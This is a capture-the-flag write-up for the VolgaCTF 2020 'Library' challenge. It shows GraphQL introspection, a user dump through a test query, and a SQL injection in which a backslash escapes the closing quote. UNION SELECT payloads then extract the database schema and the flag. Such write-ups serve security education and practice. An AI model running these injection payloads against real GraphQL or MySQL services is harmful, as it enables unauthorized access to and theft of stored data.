Library
We have written a pretty useful library website where you can find all our books.
- URL: http://library.q.2020.volgactf.ru:7781/
Recon
A Web application. We can:
- Login
- Register
There is a GraphQL endpoint over at http://library.q.2020.volgactf.ru:7781/api/
GraphQL
We can dump the schema to learn more about the API:
http://library.q.2020.volgactf.ru:7781/api/?query={__schema{types{name}}}
type Book {
title: String!
author: String!
pic: String!
}
type LoginResponse {
login: String
name: String
email: String
token: String
}
input LoginUser {
login: String
password: String
}
type Mutation {
_empty: String
register(user: RegisterUser): String
}
type Query {
_empty: String
login(user: LoginUser): LoginResponse
testGetUsersByFilter(filter: UserFilter): [User]
books: [Book]
}
input RegisterUser {
login: String
password: String
name: String
email: String
}
type User {
login: String
name: String
email: String
}
input UserFilter {
login: String
name: String
email: String
}
Dump users:
We see an interesting "Query type" called testGetUsersByFilter
. By giving it an
empty filter, we can dump the user table:
Query:
query {
testGetUsersByFilter (
filter: {}
) {
login
}
}
However, there do not seem to be interesting user accounts other than random participants running Burp Scanner etc, (really bro?) :-).
Database
After a while we found some database errors. Firstly, the web application sometimes returns ER_NO_DEFAULT_FOR_FIELD
,
which is a MySQL error message.
We could further verify this by playing around with register user functionality:
Query:
mutation {
register (user : {
login: "BLABLABLA"
email: ""
password: ""
})
}
Response:
{
"errors": [
{
"message": "insert into `users` (`email`, `hash`, `login`, `name`) values ('', '$argon2i$v=19$m=4096,t=3,p=1$zN6bz6SUKRbtv+W7HRPTSg$Wyz+XmfJ8IfpVvF/QZ4sIuEIJrUVzlPRbhrwlmYPUzE', 'BLABLABLA', DEFAULT) - ER_NO_DEFAULT_FOR_FIELD: Field 'name' doesn't have a default value",
"locations": [
{
"line": 27,
"column": 3
}
],
"path": [
"register"
],
"extensions": {
"code": "INTERNAL_SERVER_ERROR"
}
}
],
"data": {
"register": null
}
}
Which shows an INSERT
query.
In addition, testGetUsersByFilter
seemingly uses replace()
to remove single quotes from input:
Query:
query {
testGetUsersByFilter (
filter: {
login: "'"
}
) {
login
}
}
Response:
{
"data": {
"testGetUsersByFilter": [
{
"login": ""
}
]
}
}
We can further verify this by supplying null
as login username:
Query:
query {
testGetUsersByFilter (
filter: {
login: null
}
) {
login
}
}
Response:
{
"errors": [
{
"message": "Cannot read property 'replace' of null",
"locations": [
{
"line": 2,
"column": 3
}
],
"path": [
"testGetUsersByFilter"
],
"extensions": {
"code": "INTERNAL_SERVER_ERROR"
}
}
],
"data": {
"testGetUsersByFilter": null
}
}
SQL injection by escaping closing '
Query:
query {
testGetUsersByFilter (
filter: {
login: "\\"
email: ""
}
) {
login
}
}
Response:
{
"errors": [
{
"message": "Database error",
"locations": [
{
"line": 2,
"column": 3
}
],
"path": [
"testGetUsersByFilter"
],
"extensions": {
"code": "INTERNAL_SERVER_ERROR"
}
}
],
"data": {
"testGetUsersByFilter": null
}
}
Query looks like: SELECT * FROM users WHERE login='\' OR email=''
query {
testGetUsersByFilter (
filter: {
login: "\\"
email: " OR 1=1 -- "
}
) {
login
}
}
Query looks like: SELECT * FROM users WHERE login='\' OR email=' OR 1=1 -- '
6 select columns: UNION SELECT 1,2,3,4,5,6 --
Exploit
Getting the MySQL schema:
query {
testGetUsersByFilter (
filter: {
login: "\\"
email: " UNION SELECT 1,TABLE_NAME,3,4,5,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS -- "
}
) {
login
email
}
}
Get flag
query {
testGetUsersByFilter (
filter: {
login: "\\"
email: " UNION SELECT 1,flag,3,4,5,6 FROM flag -- "
}
) {
login
}
}
Flag
VolgaCTF{EassY_GgraPhQl_T@@Sk_ek3k12kckgkdak}